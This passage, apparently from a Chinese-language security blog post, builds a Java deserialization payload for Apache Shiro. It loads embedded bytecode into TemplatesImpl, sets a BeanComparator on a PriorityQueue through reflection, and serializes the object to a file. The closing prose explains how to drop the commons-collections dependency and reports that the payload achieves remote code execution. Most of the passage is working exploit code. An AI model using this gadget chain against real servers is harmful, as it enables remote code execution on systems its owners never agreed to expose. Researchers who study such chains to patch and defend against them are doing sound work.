12,0,13,0,13,0,17,0,15,0,14,0,0,0,12,0,1,0,13,0,4,0,33,0,34,0,0,0,35,0,0,0,7,0,2,76,7,0,36,4,0,1,0,37,0,0,0,2,0,38};
byte[][] bytecodes = {testClassBytes};
clas.set(templates,bytecodes);
Field factory = c.getDeclaredField("_tfactory");
factory.setAccessible(true);
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
factory.set(templates, transformerFactory);
//PropertyUtils.getProperty(templates,"outputProperties");
//CC2
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
//CB
BeanComparator beanComparator = new BeanComparator("outputProperties");
Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
Field field = priorityQueueClass.getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue,beanComparator);
serialize(priorityQueue);
}
public static void serialize(Object input) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("shiroNoCC.bin"));
oos.writeObject(input);
}
}
打一下看一下是可以执行命令的:
但是这里其实是有一个问题的,我们这里将cc的依赖都删掉,重新打一下,发现并没有打通,我们这里看下日志:
可以看到他这里报的错是找不到cc依赖里的一个类,我们这里就会感觉到有点诧异,明明用的cb依赖,为什么还报找不到cc依赖的错,我们看这里:
如上图可知他是在BeanComparator类的构造函数中出现了一个ComparableComparator,而这个ComparableComparator实际上是cc中的:
那这里怎么解决呢?我们可以利用它的另一个构造函数进行创建对象,参数自己随便找一个符合要求的cb里带的类传一下就好了:
生成一下payload测试一下:
如图,成功利用完全原生的依赖完成rce。